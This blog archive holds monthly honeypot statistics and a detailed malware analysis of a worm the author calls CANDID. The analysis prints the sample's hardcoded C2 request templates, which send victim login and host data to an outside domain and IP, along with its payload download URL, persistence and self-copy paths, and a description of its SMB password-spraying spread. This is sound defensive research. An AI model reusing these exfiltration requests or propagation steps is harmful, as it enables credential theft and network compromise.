September 2016 Honeypot Results

Honeypot update – I still have four Dionaea honeypots running in NYC, Frankfurt, Bangalore and Singapore (the GRAB series) and a single Conpot running in NYC (JUMPSEAT).

sepstats1

I didn’t have a similar issue in September as I did in August (when the sheer volume of traffic caused the honeypots to run out of inodes in the first 3-10 days of the month) though Frankfurt ran out towards the very end of the night on the 30th of September, so that cut it close a bit.

GRAB-NYC03:
Connections: 752,296
Unique IPs: 19,507
Files Downloaded: 5
sepstats2

sepstats3

 

Interesting to see Kazakhstan make the list this time, with Romania making up a sizable portion of the totals this time around.

sepstats4

UPnP, again, strongly the most popular, and therefore no surprise when we look at the ports:

sepstats5

sepstats6

The top IP address, 40.84.185.138 leads back to Microsoft, actually, as do the next three addresses. 191.237.45.46 apparently leads back to Microsoft also, but this particular entry gets associated with someone apparently with Microsoft in Brazil (Benjamin Orndorff, who apparently is located in Seattle). Maybe this is just a provocation… The next two after that lead back to hosting providers in Europe, while the one after that, 65.19.129.154, seem to lead back to an electric company in California, with a NOC in Sterling, VA. The last two are Microsoft and a hosting provider in Canada.

Here’s a map showing the attacker locations:

sepstats7
sepstats8

 

Next is the Frankfurt honeypot:

GRAB-FRA01:
Connections: 1,127,930
Unique IPs: 20,659
Files Downloaded: 15

Pretty spectacular number of connections – this is a new personal record for any of my honeypots.

sepstats9
sepstats10
Vietnam making the top 3 this time!

Similar results in terms of the shape of the graph for services, but wow – over a million UPnP connections.

sepstats11

sepstats12
sepstats13
The top IP address leads back to some person in Vietnam. The second highest leads back to that electric company. Turns out it’s actually a hosting provider (Hurricane Electric), so not mysterious anymore. The remainder are hosting providers in France, Hong Kong, and also some of the same parties from Microsoft that we saw earlier with GRAB-NYC.

Now for the maps:

sepstats14
sepstats15

 

GRAB-SIN01:
Connections: 500,737
Unique IPs: 21,688
Files Downloaded: 10,518

Again, not a mistake – this honeypot set a new record for number of samples collected. Like last month – almost ALL of these downloads were Conficker variants. I did find one other piece of malware in there (Parite-C). I find it really interesting that there is so much Conficker in this region, and how it doesn’t seem to spread to my other honeypots.

sepstats16
sepstats17

 

India makes the list, which is a first, as well as Venezuela and Ireland.

sepstats18

sepstats19

Services and ports are pretty much in line with other regions.

sepstats20
Microsoft coming in at number 1! And 2, and 3, and 4, 5… and 7… and 10. What the hell? The rest were just some hosting providers in various places (one in India).

Now, maps:

sepstats21

sepstats22

Bangalore:

GRAB-BAN01:
Connections: 457,464
Unique IPs: 21,221
Files Downloaded: 2

As usual, dismal number of files collected from Bangalore. Also, like last month,this honeypot has the highest number of unique IPs of all the GRAB honeypots.

sepstats23

sepstats24

Services/ports in line with other regions:

sepstats25

sepstats26

Microsoft dominates these results also, 7/10. The rest are hosting providers (including one from AWS).

sepstats27

Some maps:

sepstats28

sepstats32

Much more activity on JUMPSEAT in September, here are the total connections by protocol:

sepstats30

Last month saw Modbus as the most popular protocol, followed by all variants of HTTP, so much different this month. Perhaps the parties involved noticed that my honeypot doesn’t quite seem right and stopped bothering.

sepstats31

Lots of activity, but nothing as clearly anomalous as when we had shodan.io scanning the honeypot in August. 80.82.70.24 leads back to a hosting provider in Seychelles. 184.105.139.67 is Shadow Server, again. 52.42.34.123 leads back to Amazon while the next two lead back to Poland. One of them is actually a security company I’m familiar with! Hello there! The last one leads back to UC Berkeley.

That’s it for September, on to other things.

CANDID

I had a file come through GRAB-NYC. I ran it through Virustotal, 48/56 detected something. Time to take a closer look.

Static Analysis

Virustotal said that the file was packed with Armadillo 1.71, but I’m not seeing any packing. PEiD says it’s unpacked, and the strings look like what I’d expect to see for an unpacked file (i.e., many useful plaintext strings as opposed to the garbage one normally sees in a packed file and/or peculiar section names like .upx1 or .petite that indicate a packer). Looking in PEview, the headers for the .text and .data sections look fine (in that the raw and virtual sizes are very close in size to one another) however there’s something off for the .data section:

candid1

This indicates that there is a much larger space in memory for the .data section than there is for the .data section on disk, which leads me to think that it might actually be packed. This .data section does give up many plaintext strings, though, so it’s a bit confusing to me right now. I’ll come back to this later on in the analysis – I might observe something being unpacked during dynamic analysis, for example.

Looking at it in PEview again, the number of data directories (0x10) and TLS table (there isn’t one) looks fine from an anti-debugging perspective. There are six imported libraries: advapi32, kernel32, mpr, netapi32, and ws2_32. Interesting imports from each include:

AdvApi32
I see RegCreateKeyExA, RegSetValueExA, and RegCloseKey all of which tell me that 1) we can probably look for host-based signatures in the registry and 2) this might indicate how the malware achieves persistence.

Kernel32
I see DeleteFileA, WriteFile and CopyFileA which are always nice to see for host/file system signatures. GetTickCount can be used in an anti-debugging context, but it could also be used to generating random numbers. GetComputerNameA and GetVersion are probably part of a system inventory. CreateProcessA is another great one because this indicates that we might have another process to look for, and therefore another signature. GetSystemDirectoryA suggests that something is done in %system%, possibly this is where the malware installs itself or maybe it does something with a legitimate system file. Sleep can be interesting depending on how it’s used in the malware. I see CreateThread and VirtualAlloc, but not the rest of the stuff for process replacement. I’m also not seeing WriteProcessMemory or CreateRemoteThread, which I would look for to indicate injection. I see GetCommandLineA, which can be a good place to look at during manual unpacking. I see TerminateProcess, so maybe this is one of those annoying ones that will respawn itself and terminate the parent multiple times to make debugging annoying.

Mpr
We see WNetAddConnection2A imported. This function can either 1) make a connection to a network or 2) redirect a local device to a network resource. It’ll be interesting to see how this is used in the malware.

NetApi32
NetUserEnum is imported, which retrieves information about user accounts on a server. NetScheduleJobAdd is also imported, which is both deprecated and allows you to run a job at a specified future time and date. NetRemoteTOD is imported, which allows one to obtain the time of day from a server, which I would presume is used to trigger the scheduled job suggested by the previous import.

Ws2_32
We see WSAStartup, which is the beginning of the networking function and can be a good place to look for plaintext traffic (usually if there is encoding/obfuscation, it’s going to be around networking functions such as send or recv). I see gethostbyname, so we should observe a domain being resolved. I see connect, send, socket, but interestingly I don’t see recv. It’s possible that this function is obfuscated and is called during execution, but it almost appears that this file only sends data.

KANAL doesn’t indicate any standard crypto signatures, but if the .data section really is packed, then we might not see them (or, they might be non-standard but that’s unlikely).

Turning to the strings, we first see a familiar sight:

candid2

Line after line of truly unforgivable passwords. “password” is in there too. Some other real winners include internet, ihavenopass, home, god, computer, database, baseball, and 2600. Below these horrendous passwords we see an interesting block of text:

PHIME2005
Software\Microsoft\Windows\CurrentVersion\Run
/SYNC
%s\ipc$
TaskOK
dnsapi.exe
CopyOK
%s\admin$\system32\dnsapi.exe
LoginOK
\\%s
%d.%d.%d.%d
%04d%02d%02d%02d%02d%02d
GET /updata/TPDA.php?lg1=%s&lg2=%s&lg3=%s&lg4=%s&lg5=%s&lg6=%s HTTP/1.1
Host: fukyu.jp
1.003
125.206.117.59
GET /updata/TPDB.php?lg1=%s&lg2=%s&lg3=%s&lg4=%s&lg5=%s&lg6=%s&lg7=%d HTTP/1.1
Host: fukyu.jp
NONE
URLDownloadToFileA
urlmon.dll
DeleteUrlCacheEntry
wininet.dll
http://fukyu.jp/updata/ACCl3.jpg
\msupd.exe

LOTS of good stuff here. Not sure what PHIME2005 is, but I’ll keep an eye out for that. The next line looks like where the malware sets up persistence in the registry. There are references to a couple of executable files here – dnsapi.exe and msupd.exe. These might be filenames used by the malware to make a legitimate-looking copy of itself into %system%. I see what look like possible status updates being sent back to a controller (TaskOK, CopyOK, LoginOK). There’s the skeleton of an IP address and then an actual IP address hardcoded (125.206.117.59). This IP leads to NTT Communications Corporation in Tokyo. I see two additional libraries listed here (urlmon.dll and wininet.dll) along with some interesting functions (URLDownloadtoFileA and DeleteUrlCacheEntry). Wininet.dll is a higher-level networking library, which means that the author won’t have to “fake” as much traffic info (such as headers) since the networking traffic will use the signatures of the host. This also means that there probably won’t be any peculiar header or other signatures for part of this malware’s activity as it will blend in fairly well with the host’s regular traffic. We see what looks like HTTP GETs and also a hostname of fukyu.jp along with an address of http://fukyu.jp/update/ACCl3.jpg. I’m going to guess that this is where the malware goes to update itself after being run. There may even be a C2 function here – the author might put files out here with updated instructions for the malware to pick up and execute. Fukyu.jp is registered to “Government Publications”, so I’m sure it’s totally legit and not shady at all…I also notice that this domain was registered on 20MAR2006 and expires on 31MAR2017… pretty cool that this domain has been around for so long, and that this malware is so old.

I want to see if I can get the .jpg mentioned in the strings. I can’t seem to resolve fukyu.jp. I tried the 125.206.117.59 address, but didn’t get much there either. I did see, however:

PORT STATE SERVICE
113/tcp closed ident
2000/tcp open cisco-sccp
5060/tcp open sip

I had to use the -Pn flag in nmap to get this info. I need to see more of what the malware’s activity is before I feel comfortable coming to more conclusions about this address. I feel like this might be a malicious site, but perhaps it’s not. I think it’s too early to say, but info from threatcrowd.org isn’t looking good for 125.206.117.59:

candid3

Notice that fukyu.jp sends info to this IP.

At this point, my feeling about this malware is that it tries to download updates or additional instructions from a website, and that it tries to find other users on the network where it is run and then attempts to gain access to those accounts using those awful passwords listed above. It also appears to achieve some stealth and persistence. I need to move on to dynamic analysis and further on in order to say more about what this sample does.

Dynamic Analysis

I gathered observations on two runs of this malware, first as a regular user and the second one as an admin. I started examining the results from the user run, which is what I typically do because I want to see if the malware runs into any issues or does any kind of privilege escalation.

I saw what appeared to be strings related to the registry and specifically to making the malware run at startup, but RegShot didn’t really show too much that was meaningful happening in the context of the malware (nor did it show any files written or deleted that appeared malware related, etc.). There was, however, this big block of changes:

HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@provsvc.dll,-202: “HomeGroup”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@sstpsvc.dll,-35001: “Secure Socket Tunneling Protocol”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@netlogon.dll,-1010: “Netlogon Service”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@snmptrap.exe,-3: “SNMP Trap”
HKU\.DEFAULT\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@%systemroot%\system32\provsvc.dll,-202: “HomeGroup”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count\P:\ZN\yno\haxabja.rkr: 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF 00 00 80 BF FF FF FF FF 20 51 5A 5B 13 F7 D1 01 00 00 00 00
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\HomeGroup\UIStatusCache\Modifier: “[username]”
HKU\S-1-5-21-2333244481-2062130026-617143801-1001\Software\Microsoft\Windows\CurrentVersion\HomeGroup\UIStatusCache\ModifierSystem: “[machine name”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@provsvc.dll,-202: “HomeGroup”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@sstpsvc.dll,-35001: “Secure Socket Tunneling Protocol”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@netlogon.dll,-1010: “Netlogon Service”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@snmptrap.exe,-3: “SNMP Trap”
HKU\S-1-5-18\Software\Classes\Local Settings\MuiCache\11\52C64B7E\@%systemroot%\system32\provsvc.dll,-202: “HomeGroup”

Autoruns didn’t show anything being added to run at startup.

Stepping through Process Monitor, we do see something interesting – the malware attempted to add itself to run at startup under the name PHIME2005 (which we saw in the strings earlier) with the command line c:\MA\lab\unknown.exe /SYNC, but this failed due to not having appropriate access. This is interesting because first we can see a good potential signature, but also because it appears that the malware doesn’t escalate privileges because it was denied access to set this registry value.

candid4

Further on, we do see HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable being set to 0 successfully, and attempts to delete some other values:

candid5

Later, we see that it tries to delete some values (and is denied access) but successfully sets some values related to internet settings:

candid6

Towards the end, we see 101 threads being created (likely for scanning new machines, similar to a previous sample) and then alternating thread exit/creation:

candid7

Looking in Wireshark, we can see a few tens of thousands of TCP packets used for IP addresses being scanned on port 445 (SMB) which is also where we received this sample in the honeypot. For UDP, we see only a couple of hundred, but almost all of them were local (e.g., there were a couple of successful DNS resolutions on port 53, but not malware related). The other interesting traffic was on ports 137/138 (SMB), 1027/1028, 1900 (UPnP), 5007 (could be Yahoo Messenger for UDP), and 5353/5355. There wasn’t a resolution for fukyu.jp, however the malware did attempt to connect to 125.206.117.59 on port 80 (unsuccessfully – it never received a response from the SYN packet).

I didn’t see any calls to WriteFile or DeleteFileA. One other thing that I haven’t seen before while analyzing files is the following event:

candid8

I’m going to look through the recording of activity from the instance run as administrator to see what’s different. Looking in RegShot as a first step, one thing that we see immediately is that the following registry value is successfully added:

HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\PHIME2005: “C:\MA\lab\unknown.exe /SYNC”

We can also observe this in autoruns:

candid9

Otherwise we see essentially the same behavior. Wireshark also revealed essentially the same traffic as before when run as a regular user. Similarly, nothing significant seemed to happen when this malware was run with the /SYNC argument, however I’d like to see in the disassembly what is supposed to happen with this argument.

After trying all of this, I ran Fakenet and then re-ran the malware, and something interesting happened:

candid10

First, you can see that the malware attempts to resolve the fukyu.jp address, and then makes an HTTP GET request on port 80 to the link we saw in the strings earlier. Then we see this strange dialog box with an error message related to the file we saw referenced in the strings. Looking back through the Process Monitor results, you can see that the malware does try to access this file when it runs, however it didn’t successfully do this until I was running Fakenet. In this case, the error came from how Fakenet serves its own .jpg to the malware instead of the actual .jpg that would have been located at the malicious domain. I suspect that if this file was still available at fukyu.jp/update/ACCl3.jpg, that it would have been downloaded and executed. My guess is that this is a Windows executable that was renamed as a .jpg file. I’d really like to get my hands on this file… I’ll give some thought as to how this could be accomplished. I think at this point I’ve exhausted most of what I can do statically and dynamically, and will turn to disassembly and debugging to see what else I can get out of this sample.

Disassembly and Debugging

As soon as I opened this in Ida, I was a bit relieved because quickly going through it didn’t reveal anything that looked too horrific in terms of flows or obfuscation. The first important thing we see happening in the main function is that networking is started and the filename of the process is obtained:

candid11

Below that we see the filename that we just obtained having the /SYNC argument appended and then this is used to modify the registry to achieve persistence:

candid12

Then, we see a few calls to some subroutines and then a loop before the final cleanup and exit. Notice that 0x64 (100 decimal) is pushed on to the stack and this is used to control the loop, hence the 101 threads we saw created earlier during the dynamic analysis:

candid13

I’m going to start going through these subs in order starting with 401E00:

candid14

Looking here, the first action taken is a string is created based on the system directory and the string \\msupd.exe. If this file can be opened (so we get a non-zero return to EAX), then we don’t follow the conditional jump and move towards the return on the left. If we cannot open this file (so, most likely because it doesn’t exist) we follow the conditional jump towards the right where we take the string to download the ACCl3.jpg file from fukyu.jp and then call LoadLibraryA to import wininet.dll. Following these series of conditional jumps, we import the function DeleteUrlCacheEnrty, then import urlmon.dll and then import UrlDownloadToFile. Right after this function is imported, we see an indirect call (annoying) which is almost certainly the call to UrlDownloadToFile because we then see a call to CreateProcessA which matches the behavior that the malware exhibited during dynamic analysis. Seems to me that the file downloads ACCL3.jpg to the %system% directory as wsupd.exe. After this we see cleanup by calls to CloseHandle and then return to the WinMain sub.

The next sub is 401BF0. This one begins with several calls from ws2_32.dll related to establishing networking. We see a call to inet_addr with 125.206.117.59 as an argument (pretty much confirming to me that this is a shady address, if the other research didn’t make it clear enough) and then a call to connect. We then see the malware gathering system information. First, there’s a call to 401A70 which establishes a local date/time group:

candid15

Returning from 401A70, we see calls to GetLocaleInfoA and GetComputerNameA, surely as part of a system inventory, and then a call to 401FE0. This sub tries to resolve the fukyu.jp domain name as its most important contribution to the overall function of the malware. Below this we see a call to GetUserNameA and then we see all of this information, including the string “1.003” (which I suspect might be a version number for this malware), being turned into a string that is then used to send an HTTP GET request to /update/TPDB.php with the string info as arguments:

candid16

This is the last important thing this sub does, and then we see cleanup and a return to WinMain. Back there, we see that the sub that is called as part of the loop that creates the 101 threads calls the sub 401870, which I’m sure is going to be pretty interesting once we take that apart.

Sub 401870 calls GetTickCount and the _srand before entering a loop. There are several nested loops here, but the part of the nested loops that do the “reaching out” to the remote systems repeats 256 times before the overall loop starts all over again. The first thing this overall loop does is a bunch of setup for various parameters and then four calls to sub 401140 which consists of a call to _rand and a SAR instruction. We can see the construction of an IP address. There is a call to 401150 which handles relatively uninteresting validation, and then we reach another conditional jump:

candid17

If we’re successful with generating the IP address, then we continue and call 4011F0 which does the actual connection to the IP address being scanned. If the scan is successful, there’s additional work done with the data returned and then a subsequent call to 4011F0 for followup, then further down we see a call to 4012B0.

4012B0 is a very interesting sub. Here’s a snapshot of the initial block of code:

candid18

We start to see the beginnings of the setup to start trying usernames and passwords and a reference to IPC. There’s a call to WNetAddConnection2A, and then we either exit if unsuccessful or we continue with this sub. If we continue we then see the call to NetUserEnum, and if we continue being successful then we eventually reach an area where we see a pointer to a username being passed to another sub 401430. This sub passed the start address of our block of unforgivably bad passwords (starting at 408030 in .data land) and then starts iterating through that list, passing the username and password pointers to another sub, 401490. This sub then starts trying to connect to other machines with the list of passwords and enumerated usernames:

candid19

candid20

If we’re actually successful – we see that the malware calls GetLocalTimeDate and then creates a string to report the successful login to its controller:

candid21

If you look in the %system%\system32\ folder on my test machine, you’ll find a file called dnsapi.dll but not dnsapi.exe. Looks like successful logins get stored in that file that is clearly meant to blend in well with the legitimate files in the system32 directory. Then, the malware gets really cute:

candid22

candid23

OK – so it takes this data about the successful login, and puts that info in the log file. Then it calls 401AE0 which updates C2 about the data in a manner similar to the ones already observed (a call to the /updata/TPDA.php file located at 125.206.117.59). Then we see:

candid24

And then the branches:

candid25

If it can successfully schedule the job (call to NetScheduleJobAdd), it then goes and reports this information to C2. If it cannot, then it just deletes the file (dnsapi.exe). I think I’m going to take a look at this later in the debugger just to see if I can get more clarity on what exactly is going on. My impression is that data is being saved into this dnsapi.exe file and if a job cannot be schedule with this data, then the file is deleted to help cover the malware’s tracks. I’d like to try to force it to go to this code and see if I can get more observations that will help figure this out. Either way, this sub ends with a cleanup and return to the previous sub.

That’s basically all for this malware. Next up I’m going to try to look in some of the recorded data and the debugger and see if I can get anything else out of this. As I go along, I’ll put some of the things I see along the way in the debugger.


Here we see a random IP that was generated within sub 401870 (specifically at 40191F):

candid26

This one happened to be a China Unicom address.

We see that it’s trying to connect via IPC:

candid27

We’re in the right area now:

candid28

Watching this in the debugger, I see what it’s doing is making a copy of itself and putting it in the %system%\system32\dnsapi.exe path and then scheduling the copy to run as a job. If successful, it reports such to C2 with two different calls (one to report CopyOK and another to report TaskOK). If it can’t make this copy, then it deletes itself. I was wrong about my earlier thought that this was storing data there – I think that since I saw it achieve persistence early on (via the registry), I figured this must be something else, but looks like this malware just wants to make especially sure that it has a foothold on the host system. The successful activities of the malware (for instance, successful logins to user accounts) gets reported to the C2 system at 125.206.117.59 which means that this file doesn’t need to keep anything local to exfiltrate later.

I didn’t see any consistent naming for this sample online, and most scanners refer to it as a generic malware/downloader. Since this was a pretty “friendly” sample, without anti-analysis aspects, obfuscation, packing or much else that would make my job harder, and since there appears to be a two-part aspect to it, I’m going to name this one CANDID.

Findings and observations:
Downloader that tries hard to establish itself in a system via multiple methods of persistence and also aggressively spreads to other remote and local systems. Exfiltrates data regarding compromised accounts to a C2 server that still exists but appears to be out of service, at least as far as this malware is concerned.

Recommendations:
Running this in user mode (i.e., not with admin privileges) did prevent one of the persistence methods from being successful (the registry edits) but might not keep the other method from being successful (installation in the %system%\system32 directory). Even so, keeping users running at a level of access appropriate for their roles and tasks at hand is recommended. As this malware spreads via SMB on ports 445 and 137/138 it’s recommended to block or otherwise secure these ports and services. Blocking access to the C2 sites at fukyu.jp and 125.206.117.59 should prevent the malware from reporting its actions to the C2 controller and should also prevent the malware from receiving updates and instructions.

Conclusion:
An interesting but not very hardened malware sample that steals credentials from users and reports this to its controller.

Report:MalEXE004pdf

Hashes:
MD5:e42ae0e10b29f1b36e75fde65c1f788a
SHA1:c156a8344029bf3d5db5fe959d7b860069b1c037
SHA256:c74197710c01332990b294b77fbb3e2060df2a3d8492295895723d93a9fcd766
ssdeep:768:cHC0p5mwel+twV39TD8mRF5rKJZsF6No2:X0p5mwelJ9TD8mv5ImGo

August Honeypot Statistics

Time for an update on my constellation of honeypots. As you may recall from my last update, I currently have four Dionaea honeypots running in NYC, Frankfurt, Bangalore and Singapore (the GRAB series) and a single Conpot running in NYC (JUMPSEAT).

grab1

I had a bit of an issue this month that caused me to lose some data from the honeypots. The issue was the same on all the GRAB honeypots, but the circumstances were different and this is what’s interesting to me. I ran out of inodes on all four honeypots. On two of them (NYC and Frankfurt), this is definitely my fault as I never backed up and removed the bistreams stored on both of them, so after almost two months of operation I simply ran out of inodes there. However, on my other two, what was pretty crazy is that I ran out of inodes shortly after bringing them online due to the high volume of traffic on both honeypots. One honeypot ran out of inodes after seven days, and the other after three days due to the sheer volume of attacks. I didn’t think I’d have to check on them that frequently, but looks like we’re doing ok now. Maybe there was some sort of campaign in that part of the world… Here are the stats.

GRAB-NYC03:
Connections: 757,521
Unique IPs: 19,192
Files Downloaded: 12

2ndmonth1

2ndmonth2

Similar results to last time I measured – though keep in mind that I did lose about 10 days of data from this one, so the full results probably would have been much higher. Romania increased its share to about 6% of the total attacks (up from about 0.71% last month).

2ndmonth3

2ndmonth4

A more varied mix of services, while UPnP remains the most popular.
Again, not a shock that the most activity also came through port 1900, the UDP port for UPnP.

2ndmonth5

Actually a new set of top 10 IPs this time, with fewer attacks per IP address than last month (which had one address responsible for about 80,000 attacks). The top IP with 14,057 attacks leads back to AWS. The next one, 45.32.222.158, leads to Choopa, LLC, a managed hosting company in Matawan, NJ. According to their Google reviews, they are known for hosting malicious actors. Good to keep in mind in case I ever need a “permissive” host someday. Number 4 on the list, 94.236.95.171, is odd because it originates at Beggars Group, Ltd, a group of record labels. Numbers 5 and 6 originate in Beijing.

Here’s a map showing the attacker locations:
2ndmonth6

2ndmonth7

 

Next is the Frankfurt honeypot:

GRAB-FRA01:
Connections: 745,068
Unique IPs: 13,803
Files Downloaded: 13

Again, results more or less in line with last month, keeping in mind the loss of 10 days of data. More unique IPs this time, many fewer files downloaded.

2ndmonth8

2ndmonth9

Similar to the results from the NYC honeypot.

2ndmonth10

The huge number of UPnP connections looks more like the prior month’s results (compared with NYC’s results).

2ndmonth11

Therefore, no shock here when looking at ports.

2ndmonth12

Like NYC, a new set of characters this time around. Nearly 110,000 attacks from 54.211.52.121, which leads back to AWS. In number 3, 94.236.95.171, we again see that Beggars Group, Ltd entity. Numbers 4 and 5 lead back to Beijing.

Here’s another map of the attackers, with an alternate view of the same data as well:

2ndmonth13

2ndmonth14

 

Now for the new honeypots!

GRAB-SIN01:
Connections: 154,834
Unique IPs: 17,750
Files Downloaded: 2,003

That’s not a mistake – I really did get just over 2,000 files collected in the Singapore honeypot. Almost all of them were Conficker variants. Out of all the unique binaries, I only found one Pepex variant and a Poebot variant, then 137 different Conficker binaries. I haven’t found Conficker in any of my other honeypots so far. Really unbelievable how many files I captured in such a small attack surface (compared with my other honeypots).

2ndmonth15 2ndmonth16

Interesting split – this makes me think that there is some sort of regional difference here, at least compared with my other honeypots. We see China higher up and also Vietnam, which so far I haven’t seen in the top 10 anywhere else.

2ndmonth17

A bit more diversity in these services, closer to what NYC looked like vs. Frankfurt.

2ndmonth18

2ndmonth19
This time, Beggars Group is the top IP address messing around with my Singapore honeypot. Coming in at number 3 is 208.78.164.135, at Valve Corporation. Number 6, 188.165.192.91, leads to OVH in France. Number 9, 54.166.233.236, shows up as AWS. The final one there, 93.174.93.136, leads to Quasi Networks, based in Seychelles. Their barely functioning website advises that they are building sites in Amsterdam, Stockholm, Frankfurt, Moscow and London and that their website will be online soon. I guess they already have the hosting up and running… Another one to keep in mind in case I need a permissive host. Interesting that this hub didn’t see any Chinese addresses in the top 10.

2ndmonth21 2ndmonth20

Bangalore:

GRAB-BAN01:
Connections: 72,685
Unique IPs: 19,299
Files Downloaded: 1

Dismal number of files collected from Bangalore. Interesting that this honeypot has the highest number of unique IPs of all the GRAB honeypots. Also interesting that this honeypot has the highest diversity of connections (the top is “Other” which encompasses individual countries that were too small to fit on the top 10 on their own, followed by China and the USA).

2ndmonth22 2ndmonth23

Nothing too out of the ordinary in terms of services and ports:

2ndmonth28 2ndmonth27 2ndmonth24

Beggars Group, Ltd, is number 1 again, at 94.236.95.171. Numbers 2 and 3 are in Beijing, number 4 is Valve Corporation again. We saw OVH again, in 8th place, at 188.165.192.91. Otherwise, nothing too new or interesting here.

Some maps:

2ndmonth25 2ndmonth26

With JUMPSEAT, I’m running a Conpot honeypot, and I don’t have as many options as far as reporting as I do with the Dionaea honeypots. I took the raw logs and did some work with them in LibreOffice. Here are some numbers regarding the total numbers of connections that I had:

2ndmonth29

Modbus was the most popular protocol, followed by all variants of HTTP. There were a few other things scattered around in there. Looking at attacks by IP address, things get more interesting:

2ndmonth30

71.6.167.142 leads to a hosting company called CariNet out in San Diego, CA. This person scanned just about every port on JUMPSEAT. The other addresses were definitely more typical of the activity I got on this honeypot, as you can see from the numbers. 113.240.250.156 and 106.38.241.111 lead to Beijing. 91.196.50.33 and 185.25.148.240 lead back to a hosting company in Poland. 67.87.198.46 actually leads to Optimum Online in NY – is someone scanning these from home?

When I ran 71.6.167.142 through robtex.com, it actually appears that this is shodan.io. The way it scanned the honeypot makes sense now.

That’s it for this month.

GRAB

I thought it would be a good time to talk a little bit about the “constellation” of honeypots that I have going right now, and what statistics I have gathered on their activity. My Dionaea honeypots are organized under the name GRAB, and the first GRAB honeypot was located in NYC. Several days later I set up the same kind of honeypot and VPS in Frankfurt, and on July 30th I created two more in Singapore and Bangalore.

grab1

I’m not completely satisfied with this constellation just yet – I feel like there are a few gaps here that would be relevant to me. I’m glad that I have coverage in the US and Europe but I’d like to have some coverage in LATAM and Africa. The main reason that I was able to get the VPS coverage in these current locations so quickly was that this is where Digital Ocean has datacenters, and it’s incredibly easy to get a system set up with them (I set up both of the new VPSs and honeypots simultaneously in about 10 minutes). I feel that I absolutely need to get something created in the Russian Federation, and have been looking into options for this. Africa would be interesting, particularly around the Horn, but I have no idea about what the state of hosting is for this region. LATAM would be interesting, and I wonder if there is something good available for hosting in Argentina or Mexico. I’m hoping that the GRAB system I have in Singapore is sufficient for covering East/Southeast Asia and Australia, but we’ll see how that turns out.

My reasoning is that I imagine that while there are malware that will propagate world-wide (and I’ve already seen some samples show up in both NYC and Frankfurt), I imagine there might be some more regional samples that are targeted to a specific region or even a specific country or userbase that I could collect by having honeypots in various locations. I’m also interested to see the levels of activity in the various regions over time, which is what I’m going to get into next, starting with the NYC honeypot.

Some quick notes on how this data was obtained and graphed – I have my Dionaea honeypots set up to store data in sqlite databases. There are a few options out these for graphing (e.g., there’s a recipe in the Malware Analyst’s Cookbook for using gnuplot) but I used DionaeaFR. I thought that the best instructions for setting this up were found at Koen Van Impe’s site but even so I had some issues as far as getting it to run on my system. What I ultimately did was follow those instructions but use the most up to date versions of the dependencies (such as nodejs) when I did my install as the exact instructions posted there didn’t work on my system. I also ran “npm install -g promise” in addition to installing less as this was mentioned on another website.

New York City
Connections: 617,440
Unique IPs: 12,586
Files Downloaded: 48

grab2

grab3
Since this is my first time doing this, I don’t have much to compare these results with, however that seems like a LOT of connections. I’m not shocked to see that most of the connections came from the United States but it was interesting to see that the most unique IP addresses came from France, Spain and the USA. For all that activity, not too many binaries recovered, but even so I’m backed up on analysis. Romania was unexpected (0.71% of the total IPs).
grab4

A mix of services, but interesting to see that the vast majority of activity came in over UPnP.

grab5
Therefore, I suppose it’s not a shock that the most activity also came through port 1900, the UDP port for UPnP.

grab6
The top IP address (with 80,000 connections) can be linked back to Tinet in Germany, though I’m not getting much out of this whois record, just info about Tinet. VirusTotal finds no domains resolving to that IP address and actually puts it in France. Similarly, the next one on the list, 84.16.14.189, links back to Telefonica in Spain (VirusTotal also has not resolved anything to this address, though it does not find any location info on this IP). This isn’t showing too much, as it’s sort of the equivalent of tracing an IP back to Level III or Comcast. The ninth IP on the list, 185.62.190.87, lists info as BlazingFast LLC in Kiev Oblast, Ukraine. They seem to be a hosting provider, maybe I should set up a honeypot with them…nothing about this IP address in VirusTotal. Not much comes up about any of these addresses.

Here’s a map showing the attacker locations:

grab7

Next is the Frankfurt honeypot – It’s interesting that this honeypot was created several days after the NYC honeypot, and yet it had more activity (but fewer files downloaded).

Frankfurt
Connections: 702,786
Unique IPs: 10,896
Files Downloaded: 35

grab8

grab9

Pretty similar proportions to the stats from the NYC honeypot. There’s a certain country that doesn’t show up on either graph, which is surprising. Maybe it’s lumped into “others”, but keep in mind that the lowest ranks on this graph make up less than 1% (e.g., Germany on this chart is only 0.91%) so I’m surprised that these others ranked high enough to show up here.

Services is really very similar to the NYC results, UPnP being the most popular by a huge margin, along with port 1900:

grab10

grab11

Looking at the IP addresses from Frankfurt, there are several overlaps, either in terms of the same IP or just the same subnet. Only 204.88.128.14 and 213.140.43.126 are new.

grab12

204.88.128.14 is interesting – its whois record says “Santa Clara County Office of Education” in San Jose, CA. I’m wondering why so many connections would be coming from here? Some searching showed that someone’s already added this IP to FireHOL’s blocklist. I wonder what the story is with this one. 213.140.43.126 is just another Telefonica IP address, nothing too interesting there.

Here’s another map of the attackers, with an alternate view of the same data as well:

grab13

grab14

I’m FRIENDLY-SCANNER, and so can you

For the TL;DR on setting up Dionaea, see below

Lately I’ve been pretty disappointed in the kinds of attachments I’ve been receiving in my various emailboxes. Adwind (both iterations) was pretty interesting to see, but I’m noticing that a lot of what I receive is just a more formatted, fancier 419 scam. I’m basically just seeing various versions of “I’m a Nigerian oil minister, please send me your bank details” in a document attachment. I’ve actually even gotten one sender to resend their attachment as a PowerPoint file.

